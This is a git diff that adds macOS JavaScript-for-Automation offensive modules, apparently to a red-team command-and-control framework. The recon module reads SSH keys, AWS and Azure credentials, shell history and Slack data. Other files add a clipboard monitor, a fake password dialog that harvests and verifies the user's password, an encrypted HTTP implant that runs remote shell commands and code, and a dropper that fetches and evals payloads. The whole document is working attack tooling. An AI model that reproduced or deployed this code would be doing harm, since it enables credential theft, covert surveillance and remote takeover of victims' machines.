(fileMan.fileExistsAtPath("/usr/local/jamf"))){ + results += "[+] JAMF found on this host.\n"; + b = 1; +} + +if (fileMan.fileExistsAtPath("/Library/Application Support/Malwarebytes")){ + results += "[+] Malwarebytes A/V found.\n"; + b = 1; +} + +if (fileMan.fileExistsAtPath("/usr/local/bin/osqueryi")){ + results += "[+] osquery found.\n"; + b = 1; +} + +if (fileMan.fileExistsAtPath("/Library/Sophos Anti-Virus/")){ + results += "[+] Sophos A/V found.\n"; + b = 1; +} + +if ((allapps.includes("lulu")) || (fileMan.fileExistsAtPath("/Library/Objective-See/Lulu")) || (fileMan.fileExistsAtPath("/Applications/LuLu.app"))){ + results += "[+] LuLu firewall found.\n"; + b = 1; +} + +if ((allapps.includes("dnd")) || (fileMan.fileExistsAtPath("/Library/Objective-See/DND")) || (fileMan.fileExistsAtPath("/Applications/Do Not Disturb.app/"))){ + results += "[+] LuLu firewall found.\n"; + b = 1; +} + +if ((allapps.includes("WhatsYourSign")) || (fileMan.fileExistsAtPath("/Applications/WhatsYourSign.app"))){ + results += "[+] Whats Your Sign code signature info tool found.\n"; + b = 1; +} + +if ((allapps.includes("KnockKnock")) || (fileMan.fileExistsAtPath("/Applications/KnockKnock.app"))){ + results += "[+] Knock Knock persistence detection tool found.\n"; + b = 1; +} + +if ((allapps.includes("reikey")) || (fileMan.fileExistsAtPath("/Applications/ReiKey.app"))){ + results += "[+] ReiKey keyboard event taps detection tool found.\n"; + b = 1; +} + +if ((allapps.includes("OverSight")) || (fileMan.fileExistsAtPath("/Applications/OverSight.app"))){ + results += "[+] OverSight microphone and camera monitoring tool found.\n"; + b = 1; +} + +if ((allapps.includes("KextViewr")) || (fileMan.fileExistsAtPath("/Applications/KextViewr.app"))){ + results += "[+] KextViewr kernel module detection tool found.\n"; + b = 1; +} + +if ((allapps.includes("blockblock")) || (fileMan.fileExistsAtPath("/Applications/BlockBlock Helper.app"))){ + results += "[+] Block Block persistence location monitoring tool found.\n"; + b = 1; +} + +if ((allapps.includes("Netiquette")) || (fileMan.fileExistsAtPath("/Applications/Netiquette.app"))){ + results += "[+] Netiquette network monitoring tool found.\n"; + b = 1; +} + +if ((allapps.includes("processmonitor")) || (fileMan.fileExistsAtPath("/Applications/ProcessMonitor.app"))){ + results += "[+] Objective See Process Monitor tool found.\n"; + b = 1; +} + +if ((allapps.includes("filemonitor")) || (fileMan.fileExistsAtPath("/Applications/FileMonitor.app"))){ + results += "[+] Objective See File Monitor tool found.\n"; + b = 1; +} + +if (b == 0){ + results += "[-] No security products found."; +} + +results += "#######################################\n"; + +//-----------SystemInfo----------------- +results += "=====>System Info Check:\n"; + +try { + +var curruser = currentApp.systemInfo().shortUserName; +results += "[+] Current username: " + curruser + "\n\n"; +var machinename = ObjC.deepUnwrap($.NSHost.currentHost.localizedName); +results += "[+] Hostname: " + machinename + "\n\n"; + +localusers = ObjC.deepUnwrap(fileMan.contentsOfDirectoryAtPathError('/Users', $())); +results += "[+] Local user accounts:\n"; +for (k = 0; k < localusers.length; k++){ + results += localusers[k]; + results += "\n"; +} + +results += "\n"; +var addresses = ObjC.deepUnwrap($.NSHost.currentHost.addresses); +results += "[+] Local IP Addresses:\n"; +for (i = 0; i < addresses.length; i++){ + results += addresses[i]; + results += "\n"; +} + +//ssh +var sshpath = "/Users/" + curruser + "/.ssh"; +if (fileMan.fileExistsAtPath(sshpath)){ + results += "\n[+] Local SSH cred search:\n"; + let enumerator = ObjC.deepUnwrap((fileMan.enumeratorAtPath(sshpath)).allObjects); + try{ + for (p = 0; p < enumerator.length; p++){ + results += enumerator[p] + ":" + "\n"; + fullpath = sshpath + "/" + enumerator[p]; + var filedata = $.NSString.stringWithContentsOfFileEncodingError(fullpath,$.NSUTF8StringEncoding, $()).js; + results += filedata; + results += "\n"; + + } + } + catch(err){ + results += err; + } + +} + +//aws +var awspath = "/Users/" + curruser + "/.aws"; +if (fileMan.fileExistsAtPath(awspath)){ + results += "\n[+] Local aws cred search:\n"; + let enumerator = ObjC.deepUnwrap((fileMan.enumeratorAtPath(awspath)).allObjects); + try{ + for (p = 0; p < enumerator.length; p++){ + results += enumerator[p] + ":" + "\n"; + fullpath = awspath + "/" + enumerator[p]; + var filedata = $.NSString.stringWithContentsOfFileEncodingError(fullpath,$.NSUTF8StringEncoding, $()).js; + results += filedata; + results += "\n"; + + } + } + catch(err){ + results += err; + } + +} + +//azure +var azpath = "/Users/" + curruser + "/.azure"; +var azpath2 = "/Users/" + curruser + "/.azure" + "/azureProfile.json"; + +if (fileMan.fileExistsAtPath(azpath)){ + try{ + results += "\n[+] Local azure cred search:\n"; + results += "[azureProfile.json]"; + results += "\n"; + var contents = $.NSString.stringWithContentsOfFileEncodingError(azpath2,$.NSUTF8StringEncoding, $()).js; + results += contents; + results += "\n"; + } + catch(err){ + results += err; + results += "\n"; + } + +} +}catch(err){ + results += err; + results += "\n"; +} +results += "#######################################\n"; + +//-----------Running Apps----------------- +results += "=====>Running Apps:\n"; +try{ +var appsinfo = $.NSWorkspace.sharedWorkspace.runningApplications.js; +var appsinfo2 = []; +for(let i = 0; i < appsinfo.length; i++){ + let info = {}; + results += (i+1) + ". " + appsinfo[i].localizedName.js; + results += "\n"; + +} +} catch(err){ + results += err; + results += "\n"; +} +results += "#######################################\n"; + +//-----------Zsh History----------------- +var zpath = "/Users/" + curruser + "/.zsh_history"; + +if (fileMan.fileExistsAtPath(zpath)){ + try{ + results += "\n[+] Local zsh history search:\n"; + results += "[.zsh_history]"; + results += "\n"; + var contents = $.NSString.stringWithContentsOfFileEncodingError(zpath,$.NSUTF8StringEncoding, $()).js; + results += contents; + results += "\n"; + } + catch(err){ + results += err; + results += "\n"; + } + +} + +results += "#######################################\n"; + +//----------Slack Search----------------- +var sdPath = "/Users/" + curruser + "/Library/Application Support/Slack/storage/slack-downloads"; +var swPath = "/Users/" + curruser + "/Library/Application Support/Slack/storage/slack-workspaces"; + +if (fileMan.fileExistsAtPath(sdPath)){ + try{ + results += "\n[+] Slack downloads data search:\n"; + results += "[slack-downloads]"; + results += "\n"; + var contents = $.NSString.stringWithContentsOfFileEncodingError(sdPath,$.NSUTF8StringEncoding, $()).js; + var contents2 = String(contents); + var contents3 = contents2.split(","); + for(q = 0; q < contents3.length; q++){ + if(contents3[q].includes("http")){ + results += "==> " + contents3[q] + "\n"; + } + } + } + catch(err){ + results += err; + results += "\n"; + } + +} + + +if (fileMan.fileExistsAtPath(swPath)){ + try{ + results += "\n[+] Slack workspaces data search:\n"; + results += "[slack workspaces]"; + results += "\n"; + var contents = $.NSString.stringWithContentsOfFileEncodingError(swPath,$.NSUTF8StringEncoding, $()).js; + var contents2 = String(contents); + var contents3 = contents2.split(","); + for(q = 0; q < contents3.length; q++){ + if(contents3[q].includes("domain")){ + results += "==> " + contents3[q] + "\n"; + } + if(contents3[q].includes("name")){ + results += contents3[q] + "\n"; + } + } + + results += "\nSteps from Cody's article to load the Slack files found:\n1. Pull the slack-workspaces and Cookies files from the host.\n2. Install a new instance of slack (but don’t sign in to anything)\n3. Close Slack and replace the automatically created Slack/storage/slack-workspaces and Slack/Cookies files with the two you downloaded from the victim\n4. Start Slack"; + + } + catch(err){ + results += err; + results += "\n"; + } + +} + +//console.log(results) + +return results + +} diff --git a/resources/modules/clipboard_monitor.js b/resources/modules/clipboard_monitor.js new file mode 100644 index 00000000..5f548eca --- /dev/null +++ b/resources/modules/clipboard_monitor.js @@ -0,0 +1,20 @@ +function clipRun(runTime){ + ObjC.import('AppKit'); + let cboard = []; + let pb = $.NSPasteboard.generalPasteboard; + let count = 0; + //console.log(count); + for (let i = 0; i < runTime; i++){ + //console.log(pb.changeCount); + if (count < pb.changeCount){ + //console.log("New data on clipboard!: "); + //console.log(pb.stringForType("NSStringPboardType").js); + cboard.push(pb.stringForType("NSStringPboardType").js); + count = pb.changeCount; + } + $.NSThread.sleepForTimeInterval(1); + } + return cboard.toString(); +} +let runTime = %s; +clipRun(runTime); \ No newline at end of file diff --git a/resources/modules/cred-popper.js b/resources/modules/cred-popper.js new file mode 100644 index 00000000..e7beec89 --- /dev/null +++ b/resources/modules/cred-popper.js @@ -0,0 +1,39 @@ +function prompter(title, text, icon){ + let app = Application.currentApplication() + app.includeStandardAdditions = true + let prompt = app.displayDialog(text, {defaultAnswer: "", buttons: ["OK", "Cancel"], defaultButton: "OK", cancelButton: "Cancel", withTitle: title, withIcon: Path(icon), hiddenAnswer: true }); + let pass = prompt.textReturned; + // If running BigSur, testing the pass is not yet working... + let osVer = ObjC.deepUnwrap($.NSProcessInfo.processInfo.operatingSystemVersionString.js); + if (osVer.includes("11.")){ + return pass; + }else{ + testPass(pass); + } +} +function testPass(pass){ + ObjC.import('Collaboration'); + ObjC.import('CoreServices'); + let cu = ObjC.deepUnwrap($.NSProcessInfo.processInfo.userName); + let authority = $.CBIdentityAuthority.defaultIdentityAuthority; + let username = cu; + let password = pass; + let user = $.CBIdentity.identityWithNameAuthority(username, authority); + if(user.js !== undefined){ + if(user.authenticateWithPassword(password)){ + console.log("Successful authentication"); + return password; + } + else{ + prompter(title, text, icon); + } + } + else{ + console.log("User does not exist"); + } +} + +var title = "%s"; +var text = "%s"; +var icon = "%s"; +prompter(title, text, icon) diff --git a/resources/payload-templates/Implant-Core.js b/resources/payload-templates/Implant-Core.js new file mode 100755 index 00000000..2ea7fa42 --- /dev/null +++ b/resources/payload-templates/Implant-Core.js @@ -0,0 +1,364 @@ +ObjC.import('Cocoa'); +ObjC.import('Foundation'); +ObjC.import('stdlib'); +ObjC.import('Security'); +ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]); +var currentApp = Application.currentApplication(); +currentApp.includeStandardAdditions = true; + +//Global Vars: +var key = "%s"; +var parameters = $({"type": $.kSecAttrKeyTypeAES}); +var raw_key = $.NSData.alloc.initWithBase64Encoding(key); +var cryptokey = $.SecKeyCreateFromData(parameters, raw_key, Ref()); +var jitter = %s; +var s2 = ""; + +function beacon(sleepTime) { + if (sleepTime.toLowerCase().includes('m')) { + sleepTime = sleepTime.replace("m", ""); + newSleep = sleepTime * 60; + } + else if (sleepTime.toLowerCase().includes('h')) { + sleepTime = sleepTime.replace("h", ""); + newSleep = sleepTime * 60; + newSleep = newSleep * 60; + } + else if (sleepTime.toLowerCase().includes('s')) { + sleepTime = sleepTime.replace("s", ""); + newSleep = sleepTime; + } + else { + newSleep = sleepTime; + } + sleepTime = newSleep; + return sleepTime; +} + +var sleepTime = "5"; +var newSleep = "%s"; +sleepTime = beacon(newSleep); + +// Implant Information (Used to show what user, hostname, IP, etc) +class agent{ + constructor(){ + this.procInfo = $.NSProcessInfo.processInfo; + this.hostInfo = $.NSHost.currentHost; + this.id = ""; + this.cu = ObjC.deepUnwrap(this.procInfo.userName); + this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName); + this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); + this.pid = this.procInfo.processIdentifier; + this.host = ObjC.deepUnwrap(this.hostInfo.names)[0]; + this.environment = ObjC.deepUnwrap(this.procInfo.environment); + this.uptime = this.procInfo.systemUptime; + this.args = ObjC.deepUnwrap(this.procInfo.arguments); + this.osVersion = this.procInfo.operatingSystemVersionString.js; + } +} +var posh_implant = new agent(); + +function run_module(m) { + let cmdOutput = ""; + try { + cmdOutput = eval(s2 + "\n" + m); + } + catch(error) { + cmdOutput = error.toString(); + } + return cmdOutput; +}; + +function loadmodule(m){ + s2 = m; + return "Module Loaded"; +}; + +function readFile(file) { + // Convert the file name to a string + var fileString = file.toString(); + + // Read the file using a specific delimiter and return the results + return currentApp.read(Path(fileString)); +} + +function writeFile(file, data) { + // Convert the data to a string + //var fileString = file.toString() + if (typeof data == "string") { + data = convert_to_nsdata(data); + } + data.writeToFileAtomically(file, true); + + // Read the file using a specific delimiter and return the results + return "File written"; +}; + +function run_shell(command){ + //simply run a shell command via doShellScript and return the response + let response = ""; + //console.log("in shell"); + try{ + //console.log("Running command: " + command); + response = currentApp.doShellScript(command); + if(response === undefined || response === ""){ + response = "No Command Output"; + } + // shell output uses \r instead of \n or \r\n to line endings, fix this nonsense + response = response.replace(/\r/g, "\n"); + return response; + } + catch(error){ + response = error.toString().replace(/\r/g, "\n"); + return response; + } +}; + +function run_jxa(m){ + let jxa = decode(m); + let cmdOutput = ObjC.deepUnwrap(eval(jxa)); + return cmdOutput; +}; + +function enc(data){ + // takes in the string we're about to send, encrypts it, and returns a new string + let err = Ref(); + let encrypt = $.SecEncryptTransformCreate(cryptokey,err); + let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err); + b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err); + //generate a random IV to use + let IV = $.NSMutableData.dataWithLength(16); + $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes); + b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err); + //$.CFShow(IV); + // set our data to be encrypted + let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding); + b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err); + let encryptedData = $.SecTransformExecute(encrypt, err); + //$.CFShow(encryptedData); + // now we need to prepend the IV to the encrypted data before we base64 encode and return it + let length = encryptedData.length; + let remainder = length %% 16; + if ( remainder != 0 ) { + for (i=0; i < (16 - remainder); i++) { + encryptedData.push("\x00"); + } + } + length = encryptedData.length; + let final_message = $.NSMutableData.dataWithLength(0); + final_message.appendData(IV); + final_message.appendData(encryptedData); + //console.log(final_message.base64EncodedStringWithOptions(0).js); + return final_message.base64EncodedStringWithOptions(0).js; +} + +function dec(nsdata){ + //takes in a base64 encoded string to be decrypted and returned + let err = Ref(); + let decrypt = $.SecDecryptTransformCreate(cryptokey, err); + $.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err); + $.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err); + // The first 16 bytes are the IV and the rest is the message to decrypt + let iv_range = $.NSMakeRange(0, 16); + let message_range = $.NSMakeRange(16, nsdata.length - 16); + let iv = nsdata.subdataWithRange(iv_range); + $.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err); + let message = nsdata.subdataWithRange(message_range); + //$.CFShow(message); + $.SecTransformSetAttribute(decrypt, $("INPUT"), message, err); + let decryptedData = $.SecTransformExecute(decrypt, Ref()); + let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding); + return decrypted_message; +} + +function decode(data) { + // base64 decoding + if(typeof data == "string"){ + var ns_data = $.NSData.alloc.initWithBase64Encoding($(data)); + } + else{ + var ns_data = data; + } + var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js; + return decoded_data; +} + +function encode(data) { + //base64 encoding + if(typeof data == "string"){ + var ns_data = convert_to_nsdata(data); + } + else{ + var ns_data = data; + } + var encstring = ns_data.base64EncodedStringWithOptions(0).js; + return encstring; +} + +convert_to_nsdata = function(strData){ + // helper function to convert UTF8 strings to NSData objects + var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding); + return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding); +}; + + +function generateURL() { + let minNum = 0; + let maxNum = serverURLs.length; + let maxNumURL = urls.length; + let num = Math.floor(Math.random() * (maxNum - minNum) ) + minNum; + let numURL = Math.floor(Math.random() * (maxNumURL - minNum) ) + minNum; + let randomURI = urls[numURL]; //random choice from urls + serverClean = serverURLs[num]; + server = serverClean + "/" + randomURI + "?" + uri; + return server; +} + +function getImgData() { + let icoImage = [%s]; + minNum = 0; + maxNum = icoImage.length; + //console.log(maxNum); + num = Math.floor(Math.random() * (maxNum - minNum) ) + minNum; + let randomICO = icoImage[num]; //random choice from icoImage + let results = randomICO.padEnd(1500, icoImage[num]); + results = results.substring(0, 1500); + return results; +} + +function postData(postCookie, dataImageBytes, server) { + let postReq = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(server)); + // Setup Cookie to be the encrypted task id + postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("SessionID="+postCookie), $.NSString.alloc.initWithUTF8String("Cookie")); + // Other Headers + postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(""), $.NSString.alloc.initWithUTF8String("Referer")); + //console.log("host header: " + h); + if (h != ""){ + postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(h), $.NSString.alloc.initWithUTF8String("Host")); + } + postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(ua), $.NSString.alloc.initWithUTF8String("User-Agent")); + postReq.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST")); + let postData = $(dataImageBytes).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, false); + let postLength = $.NSString.stringWithFormat("%%d", postData.length); + //console.log(postData.length); //i think i broke it. + postReq.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length')); + postReq.setHTTPBody(postData); + let postResponse = Ref(); + let postError = Ref(); + let postResponseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(postReq,postResponse,postError); +} + +function getData(server){ + let getReq = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(server)); + // Other Headers + getReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(""), $.NSString.alloc.initWithUTF8String("Referer")); + if (h != ""){ + getReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(h), $.NSString.alloc.initWithUTF8String("Host")); + } + getReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(ua), $.NSString.alloc.initWithUTF8String("User-Agent")); + // Initial Request is a GET + getReq.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET")); + let getResponse = Ref(); + let getError = Ref(); + let getResponseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(getReq,getResponse,getError); + //$.CFShow(getResponseData); + return getResponseData; +} + +function commander(c) { + let id = c.substring(0,5); + //console.log("ID: " + id); + c = c.substring(5,); + //console.log(c); + try{ + if (c.substring(0,6) == "beacon") { + console.log("Updating sleep time to: " + c.substring(7,)); + sleepTime = c.substring(7,); + sleepTime = beacon(sleepTime); + cmdOutput = "Sleep updated to " + c.substring(7,); + } + else if (c.substring(0,10) == "loadmodule") { + let m = c.substring(10,); + cmdOutput = loadmodule(m); + } + else if (c.substring(0,10) == "run-module") { + let m = c.substring(11,); + cmdOutput = run_module(m); + } + else if (c.substring(0,7) == "run-jxa") { + m = c.substring(8,); + cmdOutput = run_jxa(m); + } + else if (c.substring(0,11) == "upload-file") { + let upload_bytes = c.substring(12,).split(":")[1]; + let upload_destination = c.substring(12,).split(":")[0]; + let decoded = decode(upload_bytes); + cmdOutput = writeFile(upload_destination, decoded) + } + else { + cmdOutput = run_shell(c); + } + } + catch(error){ + cmdOutput = error.toString(); + //console.log(error); + } + let postCookie = enc(id); + let encData = enc(cmdOutput); + let dataImage = getImgData(); + dataImage = dataImage + encData; + postData(postCookie, dataImage, server); +} + +var ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15"; +var uri= "%s"; +var serverClean = %s; +var rotate = ""; +while (true) { + if (!rotate){ + var serverURLs = [serverClean,serverClean]; + } else { + var serverURLs = rotate; + } + // get current date and time + let month = ("0" + (currentApp.currentDate().getMonth() + 1)).slice(-2); + let day = ("0" + currentApp.currentDate().getDate()).slice(-2); + let year = currentApp.currentDate().getFullYear(); + let d = year + "-" + month + "-" + day; + // kill date + let k = "%s"; + if (k < d) { + $.exit(0); + } + // Set range for jitter sleep then set to newSleepTime + let max = (sleepTime * (1 + jitter)); + let min = (sleepTime * (1 - jitter)); + let newSleepTime = Math.floor(Math.random() * (max - min) ) + min; + $.NSThread.sleepForTimeInterval(sleepTime); + var urls = [%s]; + let server = generateURL(); + try { + var readCommand = getData(server); + } catch(error) {console.log("error");console.log(error);} + server = generateURL(); + try { + let p = $.NSData.alloc.initWithBase64Encoding(readCommand); + //console.log(p); + var ns_data = convert_to_nsdata(p); + if(typeof p == "string"){ + var ns_data = convert_to_nsdata(p); + } + else{ + var ns_data = p; + } + let readCommandClear = dec(ns_data); + readCommandClear = decode(readCommandClear.js); + //console.log("From Server: " + readCommandClear); + if (readCommandClear.includes("multicmd")) { + let splitcmd = readCommandClear.replace("multicmd",""); + let cmdOutput = ""; + let splits = splitcmd.split("!d-3dion@LD!-d"); + splits.forEach(cmd => commander(cmd)); + } + } catch {} +} diff --git a/resources/payload-templates/dropper_jxa.js b/resources/payload-templates/dropper_jxa.js new file mode 100644 index 00000000..fff868fe --- /dev/null +++ b/resources/payload-templates/dropper_jxa.js @@ -0,0 +1,213 @@ +ObjC.import('Cocoa'); +ObjC.import('Foundation'); +ObjC.import('stdlib'); +ObjC.import('Security'); +ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]); +var currentApp = Application.currentApplication(); +currentApp.includeStandardAdditions = true; + +// Global Vars: +//#REPLACEINSECURE# +var df = [#REPLACEDOMAINFRONT#]; +var h = ""; +var sc = ""; +var urls = [#REPLACEIMPTYPE#]; +var curl = "#REPLACECONNECTURL#"; +var s = urls[0] + +// Implant Information (Used to show what user, hostname, IP, etc) +class agent{ + constructor(){ + this.procInfo = $.NSProcessInfo.processInfo; + this.hostInfo = $.NSHost.currentHost; + this.cu = ObjC.deepUnwrap(this.procInfo.userName); + this.pid = this.procInfo.processIdentifier; + this.host = ObjC.deepUnwrap(this.hostInfo.names)[0]; + } +} +var posh_implant = new agent(); + + +function enc(data){ + // takes in the string we're about to send, encrypts it, and returns a new string + let err = Ref(); + let encrypt = $.SecEncryptTransformCreate(cryptokey,err); + let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err); + b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err); + //generate a random IV to use + let IV = $.NSMutableData.dataWithLength(16); + $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes); + b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err); + //$.CFShow(IV); + // set our data to be encrypted + let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding); + b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err); + let encryptedData = $.SecTransformExecute(encrypt, err); + //$.CFShow(encryptedData); + // now we need to prepend the IV to the encrypted data before we base64 encode and return it + let length = encryptedData.length; + let remainder = length % 16; + if ( remainder != 0 ) { + for (i=0; i < (16 - remainder); i++) { + encryptedData.push("\x00"); + } + } + length = encryptedData.length; + let final_message = $.NSMutableData.dataWithLength(0); + final_message.appendData(IV); + final_message.appendData(encryptedData); + //console.log(final_message.base64EncodedStringWithOptions(0).js); + return final_message.base64EncodedStringWithOptions(0).js; +} + +function dec(nsdata){ + //takes in a base64 encoded string to be decrypted and returned + let err = Ref(); + let decrypt = $.SecDecryptTransformCreate(cryptokey, err); + $.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err); + $.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err); + // The first 16 bytes are the IV and the rest is the message to decrypt + let iv_range = $.NSMakeRange(0, 16); + let message_range = $.NSMakeRange(16, nsdata.length - 16); + let iv = nsdata.subdataWithRange(iv_range); + //$.CFShow(iv); + $.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err); + let message = nsdata.subdataWithRange(message_range); + //$.CFShow(message); + $.SecTransformSetAttribute(decrypt, $("INPUT"), message, err); + let decryptedData = $.SecTransformExecute(decrypt, Ref()); + let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding); + return decrypted_message; +} + +function decode(data) { + // base64 decoding + if(typeof data == "string"){ + var ns_data = $.NSData.alloc.initWithBase64Encoding($(data)); + } + else{ + var ns_data = data; + } + var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js; + return decoded_data; +} + +function encode(data) { + //base64 encoding + if(typeof data == "string"){ + var ns_data = convert_to_nsdata(data); + } + else{ + var ns_data = data; + } + var encstring = ns_data.base64EncodedStringWithOptions(0).js; + return encstring; +} + +convert_to_nsdata = function(strData){ + // helper function to convert UTF8 strings to NSData objects + var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding); + return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding); +}; + +function primers() { + for (url of urls) { + //console.log(url); + try { + primern(url); + } catch(error) { + console.log(error); + } + } +} + +function primern(url) { + s = url + curl; + sc = url; + h = df; + let el = ""; + // if user is root, mark with a * + if (posh_implant.cu === "root") { + el = "*"; + } else { + el = ""; + } + let o = posh_implant.cu + el + ';' + posh_implant.host + ';' + posh_implant.pid + ';#REPLACEURLID#'; + // Encrypt o and set as cookie + let cookie = enc(o); + primern = get_webclient(cookie); + //let p = $.CFShow(primern); + let p = $.NSData.alloc.initWithBase64Encoding(primern); + var ns_data = convert_to_nsdata(p); + if(typeof p == "string"){ + var ns_data = convert_to_nsdata(p); + } + else{ + var ns_data = p; + } + try { + // decrypt response + p = dec(ns_data); + //decode decrypted data + p = decode(p.js); + //console.log(p); + // if *key* in response, then run eval + if ( p.includes("key") ) { + ObjC.deepUnwrap(eval(p)); + } + } + catch {} +} + +function get_webclient(cookie) { + // get current date and time + let month = ("0" + (currentApp.currentDate().getMonth() + 1)).slice(-2); + let day = ("0" + currentApp.currentDate().getDate()).slice(-2); + let year = currentApp.currentDate().getFullYear(); + let d = year + "-" + month + "-" + day; + //kill date. + let k = "#REPLACEKILLDATE#"; + if (k < d) { + $.exit(0); + } + // proxy information from config (Do i need proxy information on a mac?) + let username = "#REPLACEPROXYUSER#"; //Set from config + let password = "#REPLACEPROXYPASS#"; //set from config + let proxyurl = "#REPLACEPROXYURL#"; //set from config + // Setup web request + let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(s)); + // Cookies + req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("SessionID="+cookie), $.NSString.alloc.initWithUTF8String("Cookie")); + // Other Headers + req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("#REPLACEREFERER#"), $.NSString.alloc.initWithUTF8String("Referer")); + if (h != ""){ + req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(h), $.NSString.alloc.initWithUTF8String("Host")); + } + req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("#REPLACEUSERAGENT#"), $.NSString.alloc.initWithUTF8String("User-Agent")); + // Initial Request is a GET + req.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET")); + //$.CFShow(req.allHTTPHeaderFields); + let response = Ref(); + let error = Ref(); + let responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error); + //$.CFShow(responseData); + return responseData; +} + +var aes_psk = "#REPLACEKEY#"; //get from payload generation +var parameters = $({"type": $.kSecAttrKeyTypeAES}); +var raw_key = $.NSData.alloc.initWithBase64Encoding(aes_psk); +var cryptokey = $.SecKeyCreateFromData(parameters, raw_key, Ref()); + +let limit = #REPLACESTAGERRETRIESLIMIT#; +while (true) { + let wait = #REPLACESTAGERRETRIESWAIT#; // used to try 30 times, starting with a 5 second wait, doubling each time until dying. + if (limit > 0) { + limit = limit - 1; + primers(); + $.NSThread.sleepForTimeInterval(wait); + wait = wait * 2; + } else { + primers(); + } +}